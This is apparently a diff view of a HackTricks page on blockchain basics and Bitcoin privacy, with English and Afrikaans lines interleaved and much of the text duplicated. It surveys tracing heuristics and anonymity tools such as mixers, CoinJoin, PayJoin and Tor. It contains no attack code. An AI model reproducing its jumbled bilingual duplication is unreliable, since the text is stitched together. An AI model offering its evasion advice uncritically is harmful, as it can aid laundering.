Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Transaksies kan as grafieke gevisualiseer word, wat potensiële verbindings tussen gebruikers onthul op grond van die vloei van fondse.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Onnodige Inset Heuristiek (Optimale Verander Heuristiek)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Hierdie heuristiek is gebaseer op die analise van transaksies met verskeie insette en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer.
### Voorbeeld
```bash
2 btc --> 4 btc
3 btc 1 btc
```
As jy meer invoere byvoeg wat die verandering uitvoer groter maak as enige enkele invoer, kan dit die heuristiek verwarrend maak.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Gedwonge Adres Hergebruik**
## **Forced Address Reuse**
Aanvallers kan klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander invoere in toekomstige transaksies kombineer, wat adresse aan mekaar koppel.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Korrek Wallet Gedrag
### Correct Wallet Behavior
Wallets moet vermy om munte wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privaatheidslek te voorkom.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Ander Blockchain Analise Tegnieke**
## **Other Blockchain Analysis Techniques**
- **Presiese Betalingsbedrae:** Transaksies sonder verandering is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort.
- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui aan dat dit 'n betaling is, met die nie-ronde uitvoer wat waarskynlik die verandering is.
- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksie skeppingspatrone, wat ontleders in staat stel om die sagteware wat gebruik is te identifiseer en moontlik die verandering adres.
- **Bedrag & Tyds korrelasies:** Die bekendmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Verkeersanalise**
## **Traffic Analysis**
Deur netwerkverkeer te monitor, kan aanvallers potensieel transaksies of blokke aan IP adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Meer
## More
Vir 'n omvattende lys van privaatheid aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonieme Bitcoin Transaksies
# Anonymous Bitcoin Transactions
## Manier om Bitcoins Anoniem te Verkry
## Ways to Get Bitcoins Anonymously
- **Kontant Transaksies**: Verkryging van bitcoin deur kontant.
- **Kontant Alternatiewe**: Aankoop van geskenkbewyse en dit aanlyn vir bitcoin ruil.
- **Myn**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word omdat mynboupoele die mynwerker se IP adres mag ken. [Mynpoele Inligting](https://en.bitcoin.it/wiki/Pooled_mining)
- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mengdienste
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Tog vereis dit vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te stuur. Alternatiewe mengopsies sluit Bitcoin-kasino's in.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** kombineer verskeie transaksies van verskillende gebruikers in een, wat die proses vir enigiemand wat probeer om invoere met uitvoere te pas, kompliseer. Ten spyte van sy doeltreffendheid, kan transaksies met unieke invoer- en uitvoergroottes steeds potensieel opgespoor word.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies met fondse van mynwerkers anoniem maak.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitvoer wat tipies van CoinJoin is. Dit maak dit uiters moeilik om te detecteer en kan die algemene-invoer-eienaarskap heuristiek wat deur transaksie toesig entiteite gebruik word, ongeldig maak.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin transaksies.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**Die gebruik van PayJoin kan tradisionele toesigmetodes aansienlik ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksie privaatheid.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Beste Praktyke vir Privaatheid in Kriptogeldeenhede
# Best Practices for Privacy in Cryptocurrencies
## **Waldoorsinkroniseringstegnieke**
## **Wallet Synchronization Techniques**
Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om waldoors met die blockchain te sinkroniseer. Twee metodes val op:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Volle node**: Deur die hele blockchain af te laai, verseker 'n volle node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel in.
- **Kliënt-kant blokfiltering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat waldoors in staat stel om relevante transaksies te identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Liggewig waldoors laai hierdie filters af, en haal slegs volle blokke af wanneer 'n ooreenstemming met die gebruiker se adresse gevind word.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Gebruik van Tor vir Anonimiteit**
## **Utilizing Tor for Anonymity**
Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg, wat privaatheid verbeter wanneer jy met die netwerk interaksie het.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Voorkoming van Adres Hergebruik**
## **Preventing Address Reuse**
Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Hergebruik van adresse kan privaatheid benadeel deur transaksies aan dieselfde entiteit te koppel. Moderne waldoors ontmoedig adres hergebruik deur hul ontwerp.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Strategieë vir Transaksie Privaatheid**
## **Strategies for Transaction Privacy**
- **Meervoudige transaksies**: Om 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verdoesel, wat privaatheid aanvalle verhoed.
- **Verandering vermyding**: Om transaksies te kies wat nie verandering-uitsette vereis nie, verbeter privaatheid deur verandering detectiemetodes te ontwrig.
- **Meervoudige verandering-uitsette**: As dit nie moontlik is om verandering te vermy nie, kan die generering van meervoudige verandering-uitsette steeds privaatheid verbeter.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: 'n Baken van Anonimiteit**
# **Monero: A Beacon of Anonymity**
Monero adressering die behoefte aan absolute anonimiteit in digitale transaksies, wat 'n hoë standaard vir privaatheid stel.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gas en Transaksies**
# **Ethereum: Gas and Transactions**
## **Begrip van Gas**
## **Understanding Gas**
Gas meet die rekenkundige inspanning wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimum fooi stel om te verseker dat hulle nie oorbetaal nie, met die oorskot wat terugbetaal word.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Uitvoering van Transaksies**
## **Executing Transactions**
Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat óf gebruiker of slimkontrak adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Essensiële inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet, en fooie in. Opmerklik is dat die sender se adres afgelei word van die handtekening, wat die behoefte daaraan in die transaksiedata uitskakel.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke raak by kriptogeldeenhede terwyl hulle privaatheid en sekuriteit prioritiseer.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Verwysings
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## Basiese Konsepte
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Slimme Kontrakte** word gedefinieer as programme wat op 'n blockchain uitvoer wanneer sekere voorwaardes nagekom word, wat die uitvoering van ooreenkomste outomatiseer sonder intermediêre.
- **Gedecentraliseerde Toepassings (dApps)** bou voort op slim kontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, auditeerbare back-end.
- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
- **Nut Tokens** bied toegang tot dienste, en **Sekuriteit Tokens** dui eienaarskap van bates aan.
- **DeFi** staan vir Gedecentraliseerde Finansies, wat finansiële dienste bied sonder sentrale owerhede.
- **DEX** en **DAOs** verwys na Gedecentraliseerde Uitruil Platforms en Gedecentraliseerde Outonome Organisasies, onderskeidelik.
## Consensus Mechanisms
## Konsensusmeganismes
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Konsensusmeganismes verseker veilige en ooreengekome transaksie-validasies op die blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Bewys van Werk (PoW)** staat op rekenaarkrag vir transaksie-verifikasie.
- **Bewys van Belang (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder.
## Bitcoin Essentials
## Bitcoin Essensiële
### Transactions
### Transaksies
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin.
#### Key Components:
#### Sleutelfaktore:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Multihandtekening Transaksies** vereis verskeie handtekeninge om 'n transaksie te magtig.
- Transaksies bestaan uit **insette** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan mynwerkers), en **scripts** (transaksie reëls).
### Lightning Network
### Lightning Netwerk
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Streef daarna om Bitcoin se skaalbaarheid te verbeter deur verskeie transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blockchain te stuur.
## Bitcoin Privacy Concerns
## Bitcoin Privaatheidkwessies
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Privaatheidaanvalle, soos **Algemene Inset Eienaarskap** en **UTXO Veranderadres Opsporing**, benut transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieverbindinge tussen gebruikers te verdoesel.
## Acquiring Bitcoins Anonymously
## Verkryging van Bitcoins Anoniem
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Metodes sluit kontanthandel, mynwerk, en die gebruik van mixers in. **CoinJoin** meng verskeie transaksies om die opspoorbaarheid te kompliseer, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid.
# Bitcoin Privacy Atacks
# Bitcoin Privaatheid Aanvalle
# Summary of Bitcoin Privacy Attacks
# Samevatting van Bitcoin Privaatheid Aanvalle
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerpe van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin privaatheid kan kompromitteer.
## **Common Input Ownership Assumption**
## **Algemene Inset Eienaarskap Aannames**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Dit is oor die algemeen selde dat insette van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus, **twee inset adresse in dieselfde transaksie word dikwels veronderstel om aan dieselfde eienaar te behoort**.
## **UTXO Change Address Detection**
## **UTXO Veranderadres Opsporing**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
'n UTXO, of **Onbestedigde Transaksie Uitset**, moet heeltemal in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende na 'n nuwe veranderadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer.
### Example
### Voorbeeld
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel.
## **Social Networks & Forums Exposure**
## **Sosiale Netwerke & Forums Blootstelling**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Gebruikers deel soms hul Bitcoin adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
## **Transaction Graph Analysis**
## **Transaksie Grafiek Analise**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Transaksies kan as grafieke gevisualiseer word, wat potensiële verbindings tussen gebruikers onthul op grond van die vloei van fondse.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Onnodige Inset Heuristiek (Optimale Verander Heuristiek)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Hierdie heuristiek is gebaseer op die analise van transaksies met verskeie insette en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer.
### Voorbeeld
```bash
2 btc --> 4 btc
3 btc 1 btc
```
As jy meer invoer byvoeg wat die verandering uitvoer groter maak as enige enkele invoer, kan dit die heuristiek verwarrend maak.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Gedwonge Adres Hergebruik**
## **Forced Address Reuse**
Aanvallers mag klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander invoer in toekomstige transaksies kombineer, en sodoende adresse aan mekaar koppel.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Korrek Wallet Gedrag
### Correct Wallet Behavior
Wallets moet vermy om munte wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privaatheidslek te voorkom.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Ander Blockchain Analise Tegnieke**
## **Other Blockchain Analysis Techniques**
- **Presiese Betalingsbedrae:** Transaksies sonder verandering is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort.
- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui aan dat dit 'n betaling is, met die nie-rond uitvoer wat waarskynlik die verandering is.
- **Wallet Vingerafdruk:** Verskillende wallets het unieke transaksie skeppingspatrone, wat ontleders in staat stel om die sagteware wat gebruik is te identifiseer en moontlik die verandering adres.
- **Bedrag & Tydsverhoudings:** Die bekendmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Verkeersanalise**
## **Traffic Analysis**
Deur netwerkverkeer te monitor, kan aanvallers potensieel transaksies of blokke aan IP adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Meer
## More
Vir 'n omvattende lys van privaatheid aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonieme Bitcoin Transaksies
# Anonymous Bitcoin Transactions
## Manier om Bitcoins Anoniem te Verkry
## Ways to Get Bitcoins Anonymously
- **Kontant Transaksies**: Verkryging van bitcoin deur kontant.
- **Kontant Alternatiewe**: Aankoop van geskenkbewyse en dit aanlyn ruil vir bitcoin.
- **Myn**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word omdat mynboupoele die mynwerker se IP adres mag ken. [Mynpoele Inligting](https://en.bitcoin.it/wiki/Pooled_mining)
- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mengdienste
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Tog vereis dit vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te stuur. Alternatiewe mengopsies sluit Bitcoin-kasino's in.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** kombineer verskeie transaksies van verskillende gebruikers in een, wat die proses vir enigiemand wat probeer om invoer met uitvoer te pas, kompliseer. Ten spyte van sy doeltreffendheid, kan transaksies met unieke invoer- en uitvoergroottes steeds potensieel opgespoor word.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies met fondse van mynwerkers anoniem maak.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitvoer wat tipies van CoinJoin is. Dit maak dit uiters moeilik om te ontdek en kan die algemene-invoer-eienaarskap heuristiek wat deur transaksie-toesighoudende entiteite gebruik word, ongeldig maak.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin transaksies.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**Die gebruik van PayJoin kan tradisionele toesigmetodes beduidend ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksie privaatheid.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Beste Praktyke vir Privaatheid in Kriptogeldeenhede
# Best Practices for Privacy in Cryptocurrencies
## **Wallet Sinchronisasie Tegnieke**
## **Wallet Synchronization Techniques**
Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om wallets met die blockchain te sinchroniseer. Twee metodes val op:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Volle node**: Deur die hele blockchain af te laai, verseker 'n volle node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel in.
- **Kliënt-kant blokfiltrering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Liggewig wallets laai hierdie filters af, en haal slegs volle blokke af wanneer 'n ooreenkoms met die gebruiker se adresse gevind word.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Gebruik van Tor vir Anonimiteit**
## **Utilizing Tor for Anonymity**
Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg, wat privaatheid verbeter wanneer jy met die netwerk interaksie het.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Voorkoming van Adres Hergebruik**
## **Preventing Address Reuse**
Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Hergebruik van adresse kan privaatheid in gevaar stel deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adres hergebruik deur hul ontwerp.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Strategieë vir Transaksie Privaatheid**
## **Strategies for Transaction Privacy**
- **Meervoudige transaksies**: Om 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verdoesel, wat privaatheid aanvalle verhoed.
- **Verandering vermyding**: Om transaksies te kies wat nie verandering-uitsette vereis nie, verbeter privaatheid deur verandering detectiemetodes te ontwrig.
- **Meervoudige verandering-uitsette**: As dit nie moontlik is om verandering te vermy nie, kan die generering van meervoudige verandering-uitsette steeds privaatheid verbeter.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: 'n Baken van Anonimiteit**
# **Monero: A Beacon of Anonymity**
Monero adressering die behoefte aan absolute anonimiteit in digitale transaksies, wat 'n hoë standaard vir privaatheid stel.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gas en Transaksies**
# **Ethereum: Gas and Transactions**
## **Begrip van Gas**
## **Understanding Gas**
Gas meet die rekenkundige inspanning wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimum fooi stel om te verseker dat hulle nie oorbetaal nie, met die oorskot terugbetaal.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Uitvoering van Transaksies**
## **Executing Transactions**
Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat óf gebruiker of slim kontrak adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Essensiële inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet, en fooie in. Opmerklik is dat die sender se adres afgelei word van die handtekening, wat die behoefte daaraan in die transaksiedata uitskakel.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke raak by kriptogeldeenhede terwyl hulle privaatheid en sekuriteit prioritiseer.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Verwysings
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
